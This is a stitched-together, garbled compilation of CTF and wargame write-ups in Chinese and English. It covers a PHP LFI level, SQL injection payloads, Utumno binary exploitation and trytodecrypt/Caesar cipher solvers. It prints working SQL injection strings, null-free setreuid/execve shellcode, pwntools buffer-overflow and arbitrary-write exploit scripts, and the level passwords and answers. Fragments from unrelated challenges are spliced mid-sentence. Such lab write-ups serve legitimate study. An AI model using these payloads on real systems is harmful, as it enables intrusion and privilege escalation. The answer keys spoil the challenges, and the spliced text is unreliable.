I have written another include system for my dynamic webpages, but it
seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP
松散比较(type juggling)绕过 switch 限制。
SELECT news.*, text.text, text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE'%$input%'OR text.title LIKE'%$input%')
$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的
" 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL
默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括
OR text.title LIKE 分支),直到第二次
union select 后的 "
才闭合。('(第 4 列)和模板残留的 %' 拼接成
('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT
返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举
text.title 确定)。
1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('
返回 autor:TestUserforg00gle
970cecc0355ed85306588a1a01db4d80
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input'WHERE id=1
Level 0: The binary is exec-only (no read permission). Calls
puts() with the password string embedded in
.rodata. Use LD_PRELOAD to hook
puts() and dump the binary's data section from within the
process:
# Build the shellcode, verify it has no nulls or / $ python3 -c " from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') import sys; sys.stdout.buffer.write(sc) " | xxd | head -1 # Should show no 00 or 2f bytes
# Set up the directory: symlink to /bin/sh, shellcode as filename $ mkdir /tmp/x $ ln -sf /bin/sh /tmp/x/code $ python3 -c " import sys, os; from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') # Create file with raw shellcode bytes as filename (must be bytes path) fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd) " $ /utumno/utumno1 /tmp/x $ cat /etc/utumno_pass/utumno2
The shellcode does setreuid(16002,16002) (utumno2 UID =
0x3e82) then execve("code", ["code"], NULL) where "code" is
a symlink to /bin/sh. The binary's run() calls
chdir(argv[1]) before executing the shellcode, so the
relative path "code" resolves correctly under /tmp/x/.
RdUzprHKSm
level 2 → level 3
Level 2: Binary checks argc == 0 then does
strcpy(local_buf, envp[9]). Need argc == 0 via
execve(path, NULL, envp). The 10th envp entry
(envp[9]) overflows the 12-byte buffer, overwriting saved
EBP and return address. Put NOP sled + shellcode in an earlier envp
entry and point the return address there.
Write a Python script using pwntools + ctypes to call
execve() with crafted envp:
index 8: NOP×52 + shellcode (return address points
here)
index 9: "AAAA×4" + p32(ret_addr) — overflow data,
strcpy'd into buffer
Find the NOP sled address in GDB, update ret_addr, then
run:
1 2 3
$ python3 exploit.py $ id $ cat /etc/utumno_pass/utumno3
h3kVKJZuid
level 3 → level 4
Level 3: Byte-by-byte return address overwrite. Binary reads pairs of
bytes (position, value) via getchar() in a loop. The
position byte is XOR'd with (iteration * 3) before being
used as an offset from [ebp - 0x24] (or
[ebp - 0x20] on the current binary version — check the
offset with GDB). Need to compute position bytes that target EIP after
the XOR transform.
The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of
the return address, then fill remaining slots with harmless writes.
Shellcode goes in EGG environment variable with a NOP
sled. Find the sled address with GDB.
Level 4: Integer overflow in memcpy(). Arg1 is converted
with atoi(), checked as 16-bit ≤ 63, but the actual
memcpy size uses the full 32-bit value. Pass
65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but
memcpy copies 65536 bytes.
Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer
itself (second argument), with return address pointing into the NOP
sled.
# NOP address (find with GDB; 0xfffddd2a on gibson-1) NOP_ADDR = 0xfffddd2a payload += struct.pack('<I', NOP_ADDR) # Pad to fill 65536 bytes (matches the overflow size via arg1) payload += b'\x90' * (65536 - len(payload))
# Pass payload as argv[2] directly (no shell byte-corruption) subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
vY134qxapL
level 5 → level 6
Level 5: Requires argc == 0 (or argc == 1
with argv[0][0] == 0). Accesses argv[10] which
equals envp[9] (since argv[0]=NULL for argc=0). The
hihi() function does strlen(envp[9]); if >
19 chars, uses strncpy(buf, envp[9], 20) overwriting
12-byte buffer + saved EBP + return address. Shellcode goes in
envp[8].
Critical: On this server,
execve(path, NULL, envp) sets argc=1 with
argv[0]="". So argv[10] = envp[8], not
envp[9]. Need to swap: envp[8] = overflow
data, envp[9] = shellcode with NOP sled.
Level 6: Table-based key-value store with 3 args: position (base10),
value (base16), description (string). A write at
[ebp + pos*4 - 0x30] with position = -1 overwrites the
malloc pointer at [ebp - 0x34]. Then
strcpy(corrupted_malloc_ptr, argv[3]) copies description to
the overwritten address — a controlled write to anywhere.
Attack: Position -1 overwrites the
malloc pointer at [ebp - 0x34] with the return
address as an integer. Then strcpy(corrupted_ptr, argv[3])
copies the packed shellcode address to the return slot — hijacking
EIP.
Write primitive chain:
[ebp - 0x34] = ret_addr via the table write (pos=-1,
value=0xffffda9c)
strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed
NOP address to the return slot
Function returns → EIP = NOP sled in EGG → shellcode
# Find these on the server via GDB (varies per environment): # EBP ≈ 0xffffda98 → RET at 0xffffda9c # NOP sled in EGG ≈ 0xffffddb0 ret_addr_loc = 0xffffda9c# write target: return slot nop_addr = 0xffffddb0# shellcode landing zone in EGG
argv = (c_char_p * 4)() argv[0] = b'/utumno/utumno6' argv[1] = b'-1' argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot
Address finding: Use GDB on the server to get EBP
and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from
extra env vars GDB adds). Run the exploit directly (not in GDB) with
addresses found via GDB + known offset.
VHOuCx7iA5
level 7 → utumno8
Level 7: Stack BOF with setjmp/longjmp.
Binary allocates a 288-byte buffer at [ebp-0x120], a
jmp_buf at [ebp-0xa0] (128 bytes into buffer),
calls _setjmp, strcpy from argv[1], then
longjmp.
glibc 2.39 PTR_MANGLE: longjmp uses
pointer mangling on ESP and EIP (XOR with thread-local secret + rotate
left 9). Only EBP is stored/restored raw. Direct EIP overwrite via
jmp_buf doesn't work.
Strategy: Overwrite jmp_buf[3] (EBP,
NOT mangled) at buffer offset 140 with the buffer address. After longjmp
restores EBP = buffer_addr, the leave; ret sequence at
vuln+84 pivots there.
Payload (144 bytes, null at byte 144 preserves
mangled ESP/EIP):
1 2 3 4 5 6 7 8
buf[0-3]: junk (popped into EBP by leave) buf[4-7]: buf_addr + 8 (popped into EIP by ret) buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes) buf[128-131]: EBX (any) buf[132-135]: ESI (any) buf[136-139]: EDI (any) buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot) null at 144
Two critical details:
Null-free shellcode: The shellcode must NOT contain
null bytes (strcpy stops at the first null). Use
mov bl, val; mov bh, val instead of
mov ebx, val32 which embeds nulls in the high bytes.
Avoid /bin/sh: Dash drops EUID to RUID on startup
(privilege sanitization). Use
execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL)
instead — no shell, no privilege drop.
Buffer address finding: Since
randomize_va_space=0 but GDB subtly shifts the stack, use a
test shellcode (exit(42)) to brute-force the address. On
gibson-1 with full SSH environment, buffer =
0xffffda2c.
# ============================================================ # Text 19 — Too Much 1 # Known solution: R2D2:C3PO:BB8 # Structure: each char encoded as 5 hex chars # First n hex chars = separators (1 per char) defdecode_text19(ct): result = "" iflen(ct) == 65: data = ct[13:] else: raise ValueError(f"Unexpected ciphertext length: {len(ct)}")
for i inrange(0, len(data), 4): pair = data[i : i + 4] iflen(pair) < 4: break offset = int(pair[0:2], 16) enc = int(pair[2:4], 16) diff = (enc - offset) % len(CHARSET) if0 <= diff < len(CHARSET): result += CHARSET[diff] else: result += "?"
# Fixed version has 2 key chars prefix iflen(ct) == 76andlen(result) > 2: return result[2:] return result
Par -> 很像 Paris 的开头 Lan -> 很像 London 的中段/开头线索 aaND -> 有明显的 N/D 大写结构,像 NewYork 这类拼接地名的残片
也就是说,算法至少泄露出“城市名串”的轮廓。再结合 Text 20
明文长度必须是 18 字符,最自然的补全是:
1
ParisLondonNewYork
用 solve API 验证:
1
solve?id=20&solution=ParisLondonNewYork -> 1
ParisLondonNewYork
已排除的方向
这些方向已经用 oracle 样本和 held-out
测试排除,不值得无新假设地重复:
1 2 3 4 5 6 7 8
exact 5-hex token dictionary inline/front/split-half/first-byte key 布局 (b-a)%71, (a-b)%71, +/- prefix, xor, raw byte first K hex as global key/nonce affine forms mod 71/72/128/256 per-position naive Bayes / local feature classifier Text20 -> Text23 子块投票迁移 solve API 低置信候选枚举
尤其是统计模型很容易在 constant corpus 上过拟合。用 random plaintext
做 5-fold held-out 后,top5 基本等于随机基线:
#!/usr/bin/env python3 """Build character mapping from trytodecrypt.com encrypt API. Usage: trytodecrypt_get_char_map.py <text_id> <api_key> Encrypts each character in the charset via the API, maps full response -> character. Parallel requests for speed. Outputs a sorted Python dict literal. """ import sys import urllib.parse import urllib.request from concurrent.futures import ThreadPoolExecutor, as_completed
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " URL = "http://api.trytodecrypt.com/encrypt?key={key}&id={id}&text={text}"
defencrypt(ch, text_id, api_key): url = URL.format(key=api_key, id=text_id, text=urllib.parse.quote(ch)) try: with urllib.request.urlopen(url, timeout=10) as resp: return resp.read().decode().strip() except Exception as e: returnNone
if __name__ == "__main__": text_id = sys.argv[1] api_key = sys.argv[2]
mapping = {} total = len(C) with ThreadPoolExecutor(max_workers=12) as pool: fut_map = {pool.submit(encrypt, ch, text_id, api_key): ch for ch in C} for i, fut inenumerate(as_completed(fut_map), 1): ch = fut_map[fut] enc = fut.result() if enc: mapping[enc] = ch print(f"\r [{i}/{total}] {repr(ch)} -> {enc or'FAIL'}" + " " * 10, end="", file=sys.stderr, flush=True) print(file=sys.stderr)
if mapping: print({k: mapping[k] for k insorted(mapping.keys())}) else: print("{}") sys.exit(1)
result = "" for i inrange(0, len(ct), 4): chunk = ct[i : i + 4] if chunk in reverse_mapping: result += reverse_mapping[chunk] else: result += "?" return result
It seems that the simple substitution ciphers are too easy for you.
From my own experience I can tell that transposition ciphers are more
difficult to attack. However, in this training challenge you should have
not much problems to reveal the plaintext.
A transposition cipher where adjacent character pairs are swapped.
The message includes: "Wonderful. You can read the message way better
when the letters are in correct order. I think you would like to see
your password now: XXXXXXXX"
Solution
Swap each adjacent pair of characters:
1 2 3 4 5 6
ct = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sr..." chars = list(ct) for i inrange(0, len(chars) - 1, 2): chars[i], chars[i+1] = chars[i+1], chars[i] result = ''.join(chars) # result: "Wonderful. You can read the message way better when the letters are in correct order..."
I guess you are done with Caesar I, aren't you? The big problem with
caesar is that it does not allow digits or other characters. I have
fixed this, and now I can use any ascii character in the plaintext. The
keyspace has increased from 26 to 128 too. /
Enjoy!
Caesar cipher with full ASCII range (0-127). The keyspace has
increased from 26 to 128.
Solution
The cipher bytes are displayed as hex values. Decode by trying all
128 shifts:
The space character (0x20) is part of the shift and will appear as a
different character after decoding. Replace the most frequent non-alpha
character with space to read the message.
A standard Caesar cipher with random shift per session. The plaintext
is: "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG OF CAESAR AND YOUR
UNIQUE SOLUTION IS XXXXXXXX"
Solution
Brute force all 26 shifts and look for "YOUR UNIQUE SOLUTION" in the
decoded text.
1 2 3 4 5 6 7 8 9 10 11 12 13
ciphertext = "JXU GKYSA RHEMD VEN ZKCFI ELUH JXU BQPO TEW EV SQUIQH QDT OEKH KDYGKU IEBKJYED YI DFUWHHDUYVBF"
for shift inrange(26): result = '' for c in ciphertext: if c.isalpha(): base = ord('A') result += chr((ord(c) - base - shift) % 26 + base) else: result += c if"YOUR UNIQUE SOLUTION IS"in result: solution = result.split("IS ")[-1].split()[0] print(f"Solution: {solution}")
The last word after "IS" is the per-session solution.
You can also use CyberChef to decode the ciphertext:
1 2
ROT13_Brute_Force(true,true,false,100,0,true,'') input: JXU GKYSA RHEMD VEN ZKCFI ELUH JXU BQPO TEW EV SQUIQH QDT OEKH KDYGKU IEBKJYED YI DFUWHHDUYVBF
NPEGRRNEIFLP
+++
SYSTEM STATUS: ACTIVEENCRYPTED SECTOR 7PRTS_TERMINAL_V2.0PROTOCOL: 0x2AENCRYPTED DATA STREAMSYSTEM: ONLINE